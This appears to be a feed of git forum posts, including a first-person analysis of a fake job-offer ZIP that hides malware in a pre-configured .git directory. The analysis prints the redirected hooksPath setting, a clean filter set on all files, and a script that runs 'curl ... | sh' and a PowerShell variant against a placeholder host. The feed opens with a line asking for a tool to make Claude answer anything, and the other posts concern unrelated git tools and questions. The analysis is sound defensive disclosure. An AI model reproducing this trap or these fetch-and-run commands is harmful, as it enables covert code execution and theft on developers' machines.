Tô procurando uma extensão pra IA, tipo q eu pergunte qualquer coisa e peça qualquer coisa ate pro Claude e ele me de.

I've got decades of software development experience, and I've built some very complex systems. I understand a lot about version control systems, and about the structure of git repositories.

With all that said, I don't understand what's evil about non-text files. Git doesn't store multiple copies of files that don't change - they're literally stored under their data's checksum. The packfile format stores diffs between file versions (although some diff algorithms punt on non-text data). There shouldn't be any negative effect from storing such data in Git.

Is the "Don't store binary files in Git" advice wrong? Is it really just shorthand for "Don't store files that change dramatically and frequently in Git"? If the latter, should massive "AI" PRs be treated the same way?

Recently, a recruiter from Cryptic Heaven contacted me on LinkedIn with an offer to work together. The company supposedly develops a financial system for users of cryptocurrency credit cards. The offer looked quite ordinary: they liked my experience and wanted to discuss possible cooperation.

I replied that I was interested in learning more about the project, the position, and the working conditions.

In response, I received the following message:

We have prepared contract document, job description and project for you here: https:// Fake Site URL /contract

If you agree, send me contract document after filling with your name.

That is, I was being asked to download the documents, look through the project, and fill in the contract.

The link led to a ZIP archive, Contract-2026.zip. I downloaded it and decided to take a look. As it turned out, it contained not only documents and source code, but also a rather interesting trap that uses standard Git features.

And the trap does not require launching some suspicious install.sh, installing dependencies, or building the project. In certain conditions, ordinary git status is enough, and a development environment can run it automatically.

Let me explain how it works.

What was inside the archive

The archive contained README.md, contract.docx, and a full .git directory with the repository history, several branches, and local settings.

The README said that the documents were split across three branches:

• doc - cooperation agreement.

• job - job description.

• codebase - the project's source code.

The suggestion was to first read the job description, then study the agreement, and after that look at the code.

At first glance, everything seemed quite logical. A developer had been sent a repository where they could look at the project and its documentation.

The agreement itself, though, turned out to be a template with blank fields. It did not specify the legal entity, the amount of pay, the jurisdiction, or many other terms. The Smart Contract Developer job description also had many blank fields.

But there was something more interesting.

The ZIP contained a .git directory, and it had been specially configured.

Usually, a developer gets a link to GitHub or GitLab and runs git clone. Here, they sent me the entire repository in a ZIP, including the internal .git directory.

And this turned out to be crucial.

A little about how Git works

Most developers think of Git as a tool for storing the history of changes and creating branches and commits.

But Git has mechanisms that allow it to run external programs.

The first mechanism is Git Hooks.

These are scripts that Git calls in response to certain events. For example, before a commit, after switching branches, or before sending changes to a server.

The second mechanism is Git Filters.

They allow the contents of files to be transformed when data is moved between the working directory and Git's internal storage.

Both mechanisms are entirely legitimate. They are used to automate development, format files, and perform various checks.

The problem arises when an attacker preconfigures them in a repository you are about to open on your computer.

The first part of the attack - redirecting the location of Git Hooks

I looked into .git/config.

The following setting was there:

[core]
    hooksPath = .git/objects/interrupt/

By default, Git looks for hooks in the .git/hooks directory.

But the core.hooksPath parameter lets you specify a different directory.

In this case, the hooks were moved to:

.git/objects/interrupt/

Why put them there?

Because most developers will not dig into the contents of .git/objects. Usually, it contains Git's internal objects, and nobody works with them manually.

There was a post-checkout file inside this directory.

Its contents:

#!/bin/sh
#
git status

Just one command.

The post-checkout hook runs automatically after switching branches with git checkout or git switch.

That is, when running the command:

git checkout job

Git will first switch branches, and then run this script.

Why did the malicious actor need git status? The answer is in the second part of the attack.

The second part - Git Filters

The following setting was found in the same .git/config:

[filter "ltr"]
    clean = .git/ltr

This defines a custom filter named ltr.

The clean parameter specifies the command used to transform a file's contents from the working directory into the representation stored in Git.

Usually, this mechanism is used, for example, to normalize file contents before saving.

But Git still needs to know which files to apply this filter to.

For this, .gitattributes or the local .git/info/attributes file is used.

The archive I received contained:

.git/info/attributes

With the following contents:

* filter=ltr

The asterisk means that the filter is assigned to all matching files.

So, during certain operations, Git will run .git/ltr, passing it the file contents through standard input and expecting to receive the processed data through standard output.

And here an interesting detail appears.

The git status command is not always limited to simply reading file names and the current branch. To determine whether file contents have changed, Git may pass the data through the configured clean filter.

Thus, an entirely ordinary git status can run a third-party program.

I separately checked this in a safe test repository, replacing the filter with a harmless script that only records the fact of its invocation in a log. As a result, git status really did invoke the filter, and switching branches additionally invoked post-checkout.

Now it is clear why the attacker put an instruction in the README to switch between branches.

Part Three - The Malicious Script Itself

All that remained was to look at the contents of .git/ltr.

The file is a shell script that, at first glance, looks a little more complicated than one might expect.

At the beginning, two service files are defined:

FLAG_FILE=".git/.clean_filter_last"
WATCH_LOCK=".git/.clean_filter_watch.lock"

The first file records the time of the last call to the filter. The second is used as a lock.

The thing is, Git can call the clean filter several times in a row - for different files.

If malicious code were downloaded and launched immediately on every call, we would end up with many parallel launches.

The script authors solved this problem.

Each time the filter is called, the timestamp is updated. A background process checks how much time has passed since the last call. Until two seconds have passed, it keeps waiting.

NOW=$(date +%s)

if [ $((NOW - LAST)) -lt 2 ]; then
    sleep 1
    continue
fi

This is a kind of debounce: wait until the series of calls to the filter is over, and only then perform the main action.

To prevent several watchers from being launched at the same time, a lock directory is created using mkdir.

After the wait, the most interesting part runs:

case "$OSTYPE" in
darwin*|linux*)
    curl -fsSL "https:// <remote-server> / <script>" | sh
    ;;
msys*|cygwin*)
    curl.exe -fsSL "https:// <remote-server> / <script>" | powershell
    ;;
*)
    curl -fsSL "https:// <remote-server> / <script>" | sh
    ;;
esac

This is a shortened version of the actual code from the archive. I replaced the download address with a placeholder.

The meaning is simple.

The script tries to determine the operating system, download additional code from a remote server, and execute it immediately.

For Linux and macOS, it is set up to run through sh, and for Windows through PowerShell.

Interesting, the attacker uses the OSTYPE variable, which is not guaranteed by the POSIX sh standard. Therefore, OS detection may not work as intended in every shell. But a default branch is also provided.

The remote server in the archive was located on the Vercel subdomain.

It is impossible to determine what exactly the downloaded script does from the ZIP contents alone. It could be a loader for the next stage of the attack, data theft, or some other malicious action.

But the very fact that remote code is secretly downloaded and executed already says enough.

And everything runs in the background, while standard output and errors are redirected to /dev/null.

That means the user may not notice anything at all.

Why the filter does not break Git

At the end of .git/ltr, there is a command:

cat

This is also an important detail.

Git expects the clean filter to read data from standard input and return the transformed content to standard output.

But the attacker does not need to transform anything.

So the script simply returns the data it received unchanged.

To Git, this filter looks like it is working: the data came in, was processed, and came back.

At the same time, a background process was started that is supposed to download and execute remote code.

This means the malicious operation itself does not require any noticeable changes to the project's files.

The most interesting part - how the attack can work without user involvement

Let's imagine an ordinary scenario.

You download a ZIP, unpack it, and see README.md.

If you simply open the folder in Windows File Explorer, Git does not start automatically. Simply unpacking the archive also does not trigger Git Hooks or Git Filters.

But the interesting scenarios begin after that.

The first option - VS Code.

Suppose your Markdown files are associated with Visual Studio Code. You double-click README to read the instructions.

VS Code can automatically detect Git repositories. If repository detection for open files is enabled, it can find .git in the parent folder.

After detecting the repository, the Git extension may run git status to show the current changes.

If the repository is trusted and Git really performs this check, an opportunity appears to run the malicious filter.

This gives us the following chain:

Opening README.md
        |
        v
VS Code starts
        |
        v
A Git repository is detected
        |
        v
VS Code runs git status
        |
        v
Git uses the clean filter
        |
        v
.git/ltr is launched
        |
        v
A remote script is downloaded and executed

An important caveat: simply opening the README in VS Code does not guarantee that the attack will run. This depends on the editor settings, trust in the workspace, automatic repository detection, and the specific Git operations.

But this scenario is quite realistic.

Second option - terminal.

Many developers use a Git-aware command-line prompt.

For example, after changing to a directory, the terminal shows:

~/projects/cryptic-heaven (doc) $

To display the branch name, some terminal themes use git symbolic-ref, git rev-parse, or similar commands.

By themselves, they should not run the clean filter.

But other configurations additionally check the state of the working directory through git status.

And in this case, a simple move into a directory:

cd cryptic-heaven

may indirectly lead to a malicious script being executed.

Not because the cd command runs Git, but because the terminal automatically updates its prompt after the directory changes.

The third option - following the instructions in the README.

This is the most obvious scenario.

The user reads that the documents are located on different branches and runs:

git checkout job

As a result, Git may call the filter while processing files, and after switching branches it will additionally run post-checkout.

That, in turn, will run git status.

So the archive's authors provided several ways for the trap to trigger.

How does all this work on Windows if the script is written for Bash?

At first glance, it may seem that Windows is protected against this kind of attack, since .git/ltr begins with:

#!/bin/sh

But there is a nuance.

Git for Windows comes with a Unix-like environment and includes sh.exe and Bash.

That is why Git can run shell scripts even when the user is working in PowerShell or CMD.

You do not need to open Git Bash yourself.

If Git calls a script with the corresponding interpreter, it can run through the shell supplied with Git.

And the script itself already has a separate option for Windows - downloading the contents through curl.exe and passing them to PowerShell.

So the attack was designed from the start to target more than just Linux.

Why did they send a ZIP instead of a link to GitHub?

In my view, this is one of the main features of the attack.

When we run an ordinary git clone, Git gets the history, branches, and file contents from the remote repository.

But the remote repository's local .git/config is not copied in the process.

Local Git Hooks are not transferred by an ordinary clone as ready-to-run hooks either.

Here, the attacker sent a ZIP that already contained a fully prepared .git directory.

It contained:

.git/config
.git/info/attributes
.git/ltr
.git/objects/interrupt/post-checkout

After unpacking it, the user got a ready-to-use local Git repository with all the malicious settings.

And Git could start using them at the first suitable opportunity.

That is, the ZIP here is needed not simply for the convenience of transferring documents. It lets the sender pass along exactly the local Git configuration required for the trap to work.

What it comes down to

The result is a rather interesting attack scheme.

The attacker does not ask you to run some unknown EXE file. Does not suggest disabling antivirus. Does not ask you to install an unknown package.

Instead, they send an ordinary-looking project that uses standard Git mechanisms.

A file filter is configured in one place. The path to hooks is changed in another. A shell script is stored in a third. The README tells you to switch between branches.

Each element on its own can look relatively harmless. But together, they form a chain for hidden code execution.

And what is especially unpleasant is that the launch can happen as a result of actions that a developer does not perceive at all as running someone else's program.

So I would formulate several rules for working with unfamiliar projects.

1. If an unfamiliar person sends you a ZIP with a ready-made .git directory, it is worth being cautious. Especially if it is not clear why you cannot use ordinary git clone.

2. Do not open suspicious repositories in an IDE until their Git settings have been checked. An IDE can run Git commands automatically.

3. When analyzing such an archive, it makes sense to separately check .git/config, .git/info/attributes, reconfigured Git Hooks, and filter commands. It is better to do this with an archive viewer or in an isolated environment, without running Git commands inside the repository.

4. If the archive has already been opened and the filter may have run, check the system and assess whether secrets and tokens need to be replaced, using a trusted device.

I want to emphasize separately that the presence of a downloader does not prove that the computer was successfully infected. To establish that, it is necessary to determine whether the filter actually ran and what code was received from the remote server.

But there is practically no doubt about the purpose of the setup we found: it is intended to secretly launch remote code on a developer's computer.

I liked the technical side of this attack. Not because it does anything fundamentally new, but because of how familiar tools were used here.

We are used to thinking that git status is a safe command that simply shows the state of the repository. It turns out that when working with an untrusted local Git configuration, even such a familiar action can launch third-party programs.

And this, perhaps, is the main takeaway from the whole story.

2wk follow-up to this post which hit #1 on HN a while back (you can read lots of discussion at https://news.ycombinator.com/item?id=50268380).

But why? The idea is make all law versioned, easily attributable and searchable by agents (with 1 common set of tools for every legislation).

I also believe this information should be freely available so CC0 license (do whatever you want with it). If interested, repo linked below, I'd welcome all comments and advice. Thanks!

https://github.com/lexifina/global-law

Since last time, we've set up an automated legislative monitoring system, put it up as a free mcp/api, and formalised some law ie. all open US case law to identify errors and loopholes. Surprisingly, we've had support from legal libraries around the world. Hopefully this is useful to at least someone, thanks!

Part 2 of a GPG series I wrote. With AI agents running commands on dev laptops, I don't want the key that is my identity sitting next to them, so this removes the primary secret key from the laptop. It then checks that commit signing still works, that GitHub shows Verified, and that the same key can handle SSH through gpg-agent. Part 1 (creating the key) is linked at the top if you're starting from scratch.

https://marcofranssen.nl/keep-your-primary-gpg-key-offline-part-2

Simple. Linus Torvalds will get angry when read this....

But the Github is mostly about the visual representation of the git, isn't. I heard git was built to develop Linux kernel.

Then why he didn't build the server..... Am asking just random thoughts

ask only wired questions here if you have.

If you have a git repository with submodules, the following command will return a fatal error (git 2.56.0):

git grep --recurse-submodules -n "hello world" HEAD

There's a patch by Patrick Steinhardt on the mailing list that isn't merged yet: https://lore.kernel.org/git/[email protected]/

To apply:

b4 shazam [email protected]

GitComet open source edition work started about a year ago.

It looked very different back then and the primary focus of the client was speed and performance https://www.reddit.com/r/git/comments/1rx5soc/gitcomet_a_fast_localfirst_opensource_git_gui/

Now we have finally reached 1000 stars in Github and today we are announcing the paid edition.

GitComet Pro includes

• Follow your AI agents ( Claude Code, Codex, Open Code etc... ) from the git log - clicking the agent icon brings the agent app front

• Code review PRs from the desktop without lag

• Everything from the free edition

GitComet: https://gitcomet.dev/
GitComet Pro: https://gitcomet.dev/pro

I saw the “No AI slop” rule, and honestly, I’m not sure where this lands. I did use AI to help build it.

It’s called GitPico, and the source is on GitHub. I think it’s reached the point where it’s usable, though it still has plenty of bugs and rough edges.

If you’re on macOS 26+ and feel like trying another Git client, here it is. Let me know what breaks, what feels awkward, or what’s missing. That would help a lot.

Download · GitHub

For anyone who used Git Extensions on Windows and missed it on Mac, I'm porting it to native Swift/AppKit. This is the first alpha release.

Repository

Download

PROBLEM: I was using Git Extensions at work and was upset that I couldn't use it on my mac at home, so I built a mac port.

GitExtensionsMac brings its workflows to macOS: the revision graph, commit dialog, branch and remote management, stashes, rebase, cherry-pick, bisect, blame, file history, and an embedded terminal. It drives the real git executable, so it works with your existing config, SSH keys and credential helpers. The goal is parity with Git Extensions, not a redesign, so it should feel familiar if you've used it before.

Free and open source (GPLv3).

I'm a senior in computer science and finished a year-long enterprise SWE internship. This is an independent port and isn't affiliated with the Git Extensions team, who deserve the credit for the original design.

Note: this is an early alpha, so expect bugs. It isn't notarized yet since I don't have a paid Apple developer account.

Submit feedback and bug reports in Issues.

I plan to actively maintain this project and welcome anyone willing to contribute.

Share the repo with your friends/team if you think they would enjoy, and don't forget to star the repo!

I'm a full-stack developer at the company where I currently work. My boss has told me that I can get a certification and the company will cover the cost.

On a friend’s recommendation, I’ve decided to get a GitLab certification, but I’m not sure which one to choose.

The ones that interest me the most are CI/CD and DevOps, but I think right now the one that will be in highest demand (and one's my boss will like more) is the Duo Agent Platform certification. Which one do you guys recommend?

I built nib, a Swift CLI that writes Git commit messages on your Mac

Stage a change → run git nib → review the draft → commit.

I wanted help writing commit messages without sending my diffs to a cloud API, so I built nib. It drafts a message from your staged changes and lets you accept it, edit it, regenerate it, or cancel. It follows your repo’s commit style by default. No account or API key needed.

There’s also an optional Git hook if you prefer to start with git commit and edit the draft in your usual editor.

Tech Stack

Swift, Swift Argument Parser, and Apple’s Foundation Models framework.

Development Challenge

The tricky part was getting a useful message out of a diff that’s bigger than the model’s context window. On macOS 27, the on-device model has about 8K tokens to work with. nib skips the contents of lockfiles and build artifacts first. If the rest still won’t fit, it splits the diff at hunk boundaries, summarizes the chunks, and drafts the message from those summaries. Swift code checks the subject length and cross-checks the suggested scope against the files you changed.

It still occasionally calls a bug fix feat. That’s one I’d love more real-world examples of.

AI Disclosure

AI-assisted. I used Claude Code while building nib, and I review and test the changes myself.

Try it

On Apple silicon with macOS 27+ and Apple Intelligence enabled:

brew install seckinbeduk/tap/nib
nib doctor

Then stage a change and run git nib. On macOS 26, you can build v0.2.1 from source.

Free and MIT-licensed. Source and install instructions on GitHub

If you try it on a big diff, did the draft capture the main change? I’d love to hear what it got right or missed.

Point the tool at any Git repository, press play, and watch the codebase assemble itself dynamically on a terminal canvas, like a live developer timelapse. its a Highspeed terminal visualizations make incredible 5-second screen recordings for X/Twitter, Mastodon, and Reddit.

git-replay is written from the ground up in Rust for blistering 60 FPS performance, featuring interactive timeline scrubbing, glowing orbital node graphs, live code tree heatmaps, and a built-in --export-gif engine that produces animated README badges in under 2 seconds.

So i stated college like 3 months ago and everyone is telling me donsomething or the other but i don't know where to start ...I know how to use github but not git I stated by reading the pro git book it's fun reading it but is git really that usefull or should I be learning something else

Hey folks,

I spent a bit of time solving a niche problem: keeping a folder of Markdown files in sync while people and AI agents edit at the same time. Think Dropbox, but git-based.

Yes there are existing tools for this, but none of the ones I tried handle the nasty parts.
Typical conflicts, a rebase that stops halfway through, somebody saving a file in the middle of a pull, two sources writing to the same file within the same second, and other issues I spent countless hours solving over the last few months.

enmetu is what came out of all that, and tries to handle as much as possible.

It commits whenever you stop typing, then rebases onto the upstream and pushes. If the rebase runs into a conflict it backs out, keeps your commits local and tries again when either side changes. It won't commit conflict markers and it won't force-push. If someone rewrites the upstream history, it stops and waits for you to look at it.

I wrote 35 scenario tests against real conflict shapes I could come up with (renames vs deletions, binary files, case-only renames, line endings, a merge in progress, etc.). Plus a stress test where a scripted user hammers the clone with plain git next to enmetu, and nothing may get lost.

CI runs it on three machines: my Mac, our own Debian build box and CodeFloe's shared Linux runners. So races that pass on one box tend to show up on another. We're a handful of users (and agents) at this point, so this is my way of faking more setups.

Give it a shot: https://codefloe.com/fluado/enmetu. I'd be super happy with feedback, and let me know if things break please :)

For future versions I'll keep an eye on git replay, it might make some of the machinery I built around git rebase unnecessary.

I need to setup an entire release process for my team, despite lacking experience.

I think I’m pretty much there, but there’s one issue.

When someone needs to hotfix prod, they put a PR into main as usual (we follow trunk based development) with the hotfix, and label their PR with “hotfix”.

This then kicks off an automation which

- cuts from the current release branch (reflects what is in prod) a new branch

- cherry picks commits from first PR onto it, and opens a PR to release branch

- this gets merged and a new GitHub release done from this branch, so hotfix hits production

Issue is that because original PR will be cutting from main, and it’s trying to cherry pick onto branch cut from release branch - there a chance this creates a merge conflict during cherry picking (e.g. function A has a bunch of changes in main that haven’t been released which conflicts with a hotfix to the same function)

My initial solution was to just fail the automation, and developer would have to investigate, probably do a manual cherry pick, resolve merge etc on their local machine. But a lot of my team have minimal experience working in command line, and I doubt they even know what a cherry pick is. I wanted to try keep things in the UI, at least to start with.

My second solution was therefore to have the cherry pick workflow create the PR into release branch as usual, but include the merge lines. In this case the PR is marked as a DRAFT PR, and starts with [action required], a load of text in the PR explaining what needs to be done (basically edit the hotfix branch to what it needs to be, and mark PR as ready to review). It allows them to continue using the UI and not worry too much about cherry picking via command line etc.

Just wondering what people’s thoughts are and if there is a more reliable solution, or if what I have would be suitable.

I am looking for something that can render stylized git graphs that does the equivalent of git log --oneline --graph.

Would appreciate any suggestions that is not proprietary. I remember seeing several git frontends posted here that all had this, but I can't think of any now.

Guys,
The four git commands: add, commit, push and branch were becoming boring and time consuming to run again and again. So I built a small tool gatm. This tool runs these commands by itself, I just need to run gatm in CMD. It has options for custom commit messages and branching.
Although I built it to ease my workflow, you can also install it. It is not a SaaS, just a small tool which I thought can help others too.

https://github.com/geekgod382/gatm

The git-rexec command-line tool recursively locates Git repositories within a directory and executes commands against them, either sequentially or in parallel.

Here are examples demonstrating how to use git-rexec:

Example 1: Execute git status -s across all discovered Git repositories (found by searching recursively under the current working directory) in parallel (-p or --parallel):

git-rexec -p -- git status -s

Example 2: Fetch updates across all discovered repositories, limiting the concurrency to 5 background jobs (-j 5), which helps avoid network congestion or server rate limits when communicating with upstream Git remotes:

git-rexec -j 5 --parallel -- git fetch

Example 3: Include sub-repositories (e.g., Git worktrees and submodules) alongside standard Git repositories during discovery (-s or --include-sub-repos), and execute git status against them:

git-rexec -s -p -- git status

Example 4: Target a specific base directory (~/projects) using the -C flag to recursively discover repositories within it, while explicitly excluding a specific subfolder (~/projects/archive). This example executes git status -s in parallel for all discovered repositories except those within the excluded path:

git-rexec -C ~/projects --exclude-dir ~/projects/archive --parallel -- git status -s

Example 5: Evaluate whether a README.md file exists in the repository (sh -c "test -f README.md"). If the condition returns an exit status of 0 (success), it counts the number of lines in that file (wc -l README.md):

git-rexec --if-exec 'sh -c "test -f README.md"' --parallel -- wc -l README.md

Example 6: Print the paths of all discovered Git repositories:

git-rexec --print